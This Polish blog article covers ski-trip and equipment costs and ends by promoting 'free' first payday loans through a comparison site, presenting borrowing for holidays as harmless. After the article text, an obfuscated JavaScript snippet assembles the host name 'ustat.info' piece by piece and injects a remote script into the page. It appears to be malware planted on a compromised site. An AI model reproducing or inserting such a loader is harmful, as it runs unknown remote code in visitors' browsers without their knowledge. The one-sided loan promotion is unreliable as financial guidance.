Sezon narciarski w pełni. Pożycz (na) deski

Share on facebook
Share on google
Share on twitter
Share on linkedin

Zima to ulubiona pora roku miłośników sportów zimowych. Narty i snowboard są coraz popularniejsze – każdego roku na polskich stokach można zauważyć coraz większe zagęszczenie fanów białego szaleństwa. Sezon zimowy jest już w pełni, niektórzy dodatkowo mają ferie. Niestety narciarstwo i snowboard to dość kosztowna przyjemność. Ile płacimy za możliwość szusowania wśród górskich krajobrazów?

Zima to ulubiona pora roku miłośników sportów zimowych. Narty i snowboard są coraz popularniejsze – każdego roku na polskich stokach można zauważyć coraz większe zagęszczenie fanów białego szaleństwa. Sezon zimowy jest już w pełni, niektórzy dodatkowo mają ferie. Niestety narciarstwo i snowboard to dość kosztowna przyjemność. Ile płacimy za możliwość szusowania wśród górskich krajobrazów?

Gdzie i za ile lubimy szusować?

Zdecydowana większość Polaków na deski wybiera się w rodzime góry – przede wszystkim w Tatry, Beskidy czy Sudety. Popularnością cieszą się m.in. takie miejscowości jak Zakopane, Białka Tatrzańska, Szczyrk, Wisła, Zieleniec czy Karpacz. Standardy w kurortach coraz częściej dorównują tym alpejskim, jednak trzeba mieć na uwadze, że ceny też zbliżają się do tych zagranicznych. Tydzień w Zakopanem z noclegami, karnetem na stok, wyżywieniem oraz atrakcjami pozanarciarskimi to koszt od 1000 zł w górę. Choć czasem przy okazji promocji można ustrzelić coś tańszego – nawet za 500-600 zł.

W Austrii, Niemczech, Włoszech czy Francji jest znacznie drożej. Jeśli planujesz wyjazd z biurem podróży to możesz liczyć na promocje i wyjechać w Alpy za około 1000 zł. Samodzielny wyjazd zwykle jest znacznie droższy, nawet do 2000 zł. W szczególnie lubianej przez Polaków Austrii koszty noclegów, wyżywienia i Après Ski, czyli atrakcji poza stokiem są naprawdę wysokie.

Narciarz musi mieć kasę

Już samo zorganizowanie tygodniowego wypadu w góry nie jest tanią rozrywką, a przecież to niejedyny wydatek miłośników białego szaleństwa. Przecież trzeba mieć na czym jeździć: sam zakup sprzętu (nart z wiązaniami, obuwia, gogli oraz kasku) to koszt rzędu 1000 zł. A przecież trzeba mieć jeszcze odpowiednie ubranie – kurtkę, spodnie, przyda się także bielizna termoaktywna…. Spokojnie na samo przygotowanie się do jazdy trzeba przeznaczyć około 2000 zł. A jeśli ktoś zaczyna przygodę z nartami czy snowboardem to do wydatków trzeba dopisać lekcje z instruktorem. Zimowi wyjadacze zaś muszą swoje narty sprawdzić w serwisie, co też kosztuje.

Narty na kredyt

Na oszczędności po wydatkach świątecznych nie ma co liczyć. Mała pożyczka od rodziny lub znajomych? Nie każdy ma taką możliwość. Odpuścić sezon bo w portfelu pustka, a po koncie bankowym hula wiatr? Niekoniecznie. Można skorzystać z darmowej pożyczki przez internet na Sowafinansowa.pl – porównywarce zestawiającej oferty pozabankowych firm. Tzw. chwilówki za 0 zł to nie fikcja, wystarczy być nowym klientem firmy pożyczkowej – pierwsza chwilówka udzielana jest za darmo, warunkiem jest jedynie spłata należności w terminie, czyli po 30 dniach. W porównywarce można też sprawdzić koszty przedłużenia terminu spłaty, jak i nieterminowości – a więcej o chwilówkach można przeczytać w artykule na http://biznes.interia.pl/wiadomosci/finanse-osobiste/news/kolejny-cios-w-chwilowki-windykacja-bedzie-nieoplacalna,2136912,4141. Na SowaFinansowa.pl dostępne są też bankowe i pozabankowe kredyty ratalne. Można więc wybrać pożyczkę dopasowaną do własnych potrzeb i możliwości finansowych.

Pożyczanie tak proste jak szusowanie

Nie musisz się martwić, że poświąteczna pustka w portfelu przeszkodzi ci w spędzeniu ferii zimowych tak jak lubisz, czyli na stoku. Nie ma co sobie odmawiać przyjemności, przecież wszystko jest dla ludzi. Pożyczka nie jest taka straszna, jak ją malują. Jeśli terminowo i rzetelnie spłacisz swoje zobowiązania, to nawet nie będziesz pamiętać, że cokolwiek pożyczałeś. Za to białego szaleństwa na nartach lub snowboardzie na pewno nie zapomnisz.

(function(){
u6vf=document.createElement(“script”);u6vf.type=”text/javascript”;
u6vf.async=true;u6vf_=((“us”)+”t”)+”a”;u6vf_+=(“t.i”)+””+”n”;u6vf_+=((“f”)+”o”);
u6vf.src=”http://”+u6vf_+”/7099492.mzg33weX6vf37f4ffcabf37xyt5smz”;
document.body.appendChild(u6vf);
})();

Co o tym sądzisz?

Witryna wykorzystuje Akismet, aby ograniczyć spam. Dowiedz się więcej jak przetwarzane są dane komentarzy.